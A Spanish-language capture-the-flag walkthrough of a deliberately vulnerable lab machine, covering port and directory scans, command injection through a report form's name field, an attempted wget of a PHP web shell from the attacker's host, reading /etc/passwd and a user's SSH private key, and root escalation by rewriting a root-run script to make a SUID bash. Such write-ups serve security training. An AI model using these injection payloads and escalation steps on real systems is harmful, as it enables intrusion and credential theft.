

Desplegamos la máquina.

```
> sudo bash auto_deploy.sh vulnvault.tar
```

[sudo] contraseña para kali:

```
##  
## ## ## ==  
## ## ## ## ===  
NNN {NN NNNN NNN NNNNN NN N / ===  
----- o -----  
O O K E R L A S  
E
```

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es --> 172.17.0.2

Le aplicamos un ping para comprobar la conectividad y además con el ttl de 64 sabemos que estamos ante una máquina Linux.

```
> ping -c 1 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.049 ms

--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.049/0.049/0.049/0.000 ms
```

Con nmap vemos los puertos que están abiertos y además sus servicios.

```
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 f5:4f:86:a5:d6:14:16:67:8a:8e:b6:b6:4a:1d:e7:1f (ECDSA)
|_  256 e6:86:46:85:03:d2:99:70:99:aa:70:53:40:5d:90:60 (ED25519)
80/tcp    open  http      Apache httpd 2.4.58 ((Ubuntu))
|_ http-title: Generador de Reportes - Centro de Operaciones
|_ http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Con gobuster vemos directorios y archivos que están ocultos.

```
> gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
-x php,html,htm,xml,json,css,md,txt,log,conf,ini,js,ts,sh,bak,old,backup,zip,tar,tar.gz,rar,7z,png,jpg,jpeg,gif,svg,webp,woff,woff2,ttf,eot,exe,bin,py,pl,rb,asp,aspx,pcap,pcapng -t 100

=====
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url: http://172.17.0.2
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: old,exe,py,pl,php,xml,zip,jpg,ttf,md,gif,woff2,eot,aspx,pcapng,png,jpeg,htm,tar,tar.gz,pcap,ini,sh,backup,webp,rb,ts,css,txt,js,svg,bin,asp,rar,7z,conf,html,json,log,bak,woff
[+] Timeout: 10s
=====
Starting gobuster in directory enumeration mode
=====
/.php (Status: 403) [Size: 275]
/.htm (Status: 403) [Size: 275]
/.html (Status: 403) [Size: 275]
/index.php (Status: 200) [Size: 2832]
/scripts.js (Status: 200) [Size: 1090]
/upload.php (Status: 200) [Size: 33]
/upload.html (Status: 200) [Size: 2314]
/upload.js (Status: 200) [Size: 1645]
/old (Status: 301) [Size: 306] [--> http://172.17.0.2/old/]
/styles.css (Status: 200) [Size: 2693]
```

Vemos que hay un generador de reportes por lo que vamos a interceptarlo con burpsuite.

Genera tu Reporte

Nombre del Archivo:

Fecha (YYYY-MM-DD):

Generar Reporte

Reportes Generados

Reporte: reporte_1752931767.txt

Archivo de reporte: /var/www/html/reportes/reporte_1752931767.txt
Nombre: Carlos

Vemos que podemos inyectar código directamente con ‘;’ previamente.

```
Content-Length: 31
Origin: http://172.17.0.2
Connection: keep-alive
Referer: http://172.17.0.2/index.php
Upgrade-Insecure-Requests: 1
Priority: u=0, i

nombre=;id&fecha=20%2F02%2F2002
pre> Archivo de reporte: /var/www/html/reportes/reporte_17
Nombre: \
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Fecha: 20/02/2002
/xxx>
```

Vamos a comprobar que la máquina tenga el binario wget y de ese modo tratar de subir un archivo malicioso .php para poder hacernos una reverse shell.

Genera tu Reporte

Nombre del Archivo:

Fecha (YYYY-MM-DD):

Reporte: rep

Archivo de reporte
Nombre: \
/usr/bin/wget
Fecha: 20/02/2002

Generar Reporte

Nos generamos un archivo que inyectemos código con el parámetro cmd.

```
> cat upload.php
```

	File: upload.php
1	<?php system(["cmd"]); ?>

```
> python3 -m http.server 80
```

Nombre del Archivo:

Una vez que comprobamos que se ha subido, previamente levantando un servidor python3.

```
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
172.17.0.2 - - [19/Jul/2025 15:44:14] "GET /upload.php HTTP/1.1" 200 -
```

Vemos que nos deniega la opción de escribirlo.

```
Archivo de reporte: /var/www/html/reportes/reporte_1752932654.txt
Nombre: \
--2025-07-19 15:44:14-- http://10.0.2.65/upload.php
Connecting to 10.0.2.65:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 26 [application/octet-stream]
upload.php.1: Permission denied

Cannot write to 'upload.php.1' (Permission denied).
Fecha: 20/02/2002
```

Pero como podemos ejecutar código, vamos a ver los usuarios que existen.

```
Archivo de reporte: /var/www/html/reportes/reporte_1752932984.txt
Nombre: \
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534:/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/usr/sbin/nologin
messagebus:x:100:102:/nonexistent:/usr/sbin/nologin
systemd-resolve:x:996:996:systemd Resolver:/usr/sbin/nologin
sshd:x:101:65534:/run/sshd:/usr/sbin/nologin
samara:x:1001:1001:samara,,,:/home/samara:/bin/bash
```

Nombre del Archivo:

Dentro del usuario samara podemos ver que tiene una carpeta .ssh.

Nombre del Archivo:

```
; ls -la /home/samara/
```

```
Archivo de reporte: /var/www/html/reportes/reporte_1752933046.txt
Nombre: \
total 48
drwxr-xr-x 1 samara samara 4096 Jul 19 15:14 .
drwxr-xr-x 1 root root 4096 Aug 20 2024 ..
-rw-r--r-- 1 samara samara 218 Aug 20 2024 .bash_history
-rw-r--r-- 1 samara samara 220 Aug 20 2024 .bash_logout
-rw-r--r-- 1 samara samara 3771 Aug 20 2024 .bashrc
drwx----- 2 samara samara 4096 Aug 20 2024 .cache
drwxrwxr-x 3 samara samara 4096 Aug 20 2024 .local
-rw-r--r-- 1 samara samara 807 Aug 20 2024 .profile
drwxr-xr-x 2 samara samara 4096 Aug 20 2024 .ssh
-rw-r--r-- 1 root root 35 Jul 19 15:50 message.txt
-rw-r--r-- 1 samara samara 33 Aug 20 2024 user.txt
```

Comprobamos que tiene un id_rsa por lo que podremos conectarnos mediante ssh una vez lo copiemos en nuestra Kali sin necesidad de contraseña.

Nombre del Archivo:

```
; ls -la /home/samara/.ssh/id_rsa
```

```
Archivo de reporte: /var/www/html/reportes/reporte_1752933109.txt
Nombre: \
-rw-r--r-- 1 samara samara 3389 Aug 20 2024 /home/samara/.ssh/id_rsa
```

Nombre del Archivo:

```
; cat /home/samara/.ssh/id_rsa
```

```
Archivo de reporte: /var/www/html/reportes/reporte_1752933171.txt
Nombre: \
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktbjEAAAAABG5vbmUAAAAAEbm9uZQAAAAAAAAABAAACFwAAAAAdzc2gtcn
NhAAAAAwEAAQAAAE9A9HEXYsE0Ut5PUH/2fHI/buNxlUv3x2qL6wATg0scjIeog9LSmW3k
K3NLw5yD0N2vEfZxRSuEkUd743i2AZq/gekNEpvuUTnruRTibz/hZojm8CBpjgXccJW63a
ksBBS/G8iqTa4i9l9GFF0ytuGJ5CmAQy37dgNfsP0150rlN8jg56rtbUyR9kfscYU8R/B0
GDUo60Ek9kzv6QXzkVf/lmnKlV0/4ioJ5iEyLz91NxBHs0WNQBCjry3k0YDynRD5mKj/g
20Z/TwpTh/QylyKFfDQYPrbjXXWEe8nnzmoDolkTWvez0Sjig7TBV0z2swcvIuWoxwNFVL
0j/FnwkwYihlbLWi9Gu6Zeddy2+5RfZPRSZrd0+y0vUqHtZHBMBM5nMVyHoh78QyW8bA/q
K93VoLNrf8o19YyZoeNqVP03PE/sSE953JahsHr2iPyNb3q/Hgm+lmn5zL8e++oThK/s43
GeaCpew8JbRf1mD6lkfNZEhAQ2TXvtKRwvWmLxSYmExqgzXD7/XP/ZLUKN0+hQ8yu+l+VG
Hm2v37ndh0hystHbNr55GE3/hcpMsq3FeScFEFEUty0kpP/+UDvCnL/0CFNKah660ayAid
```

Lo creamos y le damos los permisos adecuados y nos conectamos como el usuario samara.

```
> nano id_rsa
> chmod 400 id_rsa
> ssh -i id_rsa samara@172.17.0.2
```

```
samara@acc1651b19a7:~$ id
uid=1001(samara) gid=1001(samara) groups=1001(samara),100(users)
```

Una vez dentro vemos el estado de los procesos y vemos un archivo .sh que se ejecuta como root.

```
samara@acc1651b19a7:/$ ps aux
USER      PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  3.4  0.0  2800  1836 ?        Ss   15:14   1:32 /bin/sh -c service ssh start &&
service apache2 start && while true; do /bin/bash /usr/local/bin/echo.sh; done
root       15    0  0    12020  3828 ?        Ss   15:14   0:00 sshd: /usr/sbin/sshd [listener]
```

Lo revisamos y vemos que podemos escribir en dicho archivo, por lo que lo modificaremos.

```
samara@acc1651b19a7:/$ ls -la /usr/local/bin/echo.sh
-rwxr--r-- 1 root root 82 Aug 20 2024 /usr/local/bin/echo.sh
samara@acc1651b19a7:/$ cat /usr/local/bin/echo.sh
#!/bin/bash
echo "No tienes permitido estar aqui :(" > /home/samara/message.txt
```

Vamos a crear una copia de la bash y le vamos a dar permisos SUID de modo que vamos a tener una bash con permisos SUID en el directorio de samara.

```
samara@acc1651b19a7:~$ echo 'cp /bin/bash /home/samara/rootbash && chmod 4755 /home/samara/rootbash' > /usr/local/bin/echo.sh
samara@acc1651b19a7:~$ ls -la
total 1464
drwxr-xr-x 1 samara samara 4096 Jul 19 16:03 .
drwxr-xr-x 1 root root 4096 Aug 20 2024 ..
-rw-r--r-- 1 samara samara 218 Aug 20 2024 .bash_history
-rw-r--r-- 1 samara samara 220 Aug 20 2024 .bash_logout
-rw-r--r-- 1 samara samara 3771 Aug 20 2024 .bashrc
drwx----- 2 samara samara 4096 Aug 20 2024 .cache
drwxrwxr-x 3 samara samara 4096 Aug 20 2024 .local
-rw-r--r-- 1 samara samara 807 Aug 20 2024 .profile
drwxr-xr-x 2 samara samara 4096 Aug 20 2024 .ssh
-rw-r--r-- 1 root root 35 Jul 19 16:03 message.txt
-rwsr-xr-x 1 root root 1446024 Jul 19 16:03 rootbash
```

Listo ya solo debemos ejecutar la copia de la bash que nos hemos hecho con la flag -p para mantener los permisos de root.

```
samara@acc1651b19a7:~$ ./rootbash -p
rootbash-5.2# id
uid=1001(samara) gid=1001(samara) euid=0(root) groups=1001(samara),100(users)
rootbash-5.2# cd /root
rootbash-5.2# ls -la
total 28
drwx----- 1 root root 4096 Aug 20 2024 .
drwxr-xr-x 1 root root 4096 Jul 19 15:14 ..
-rw-r--r-- 1 root root 3106 Apr 22 2024 .bashrc
drwxr-xr-x 3 root root 4096 Aug 20 2024 .local
-rw-r--r-- 1 root root 161 Apr 22 2024 .profile
drwx----- 2 root root 4096 Aug 20 2024 .ssh
-rw-r--r-- 1 root root 33 Aug 20 2024 root.txt
rootbash-5.2# cat root.txt
640c89bbfa2f70a4038fd570c65d6dcc
```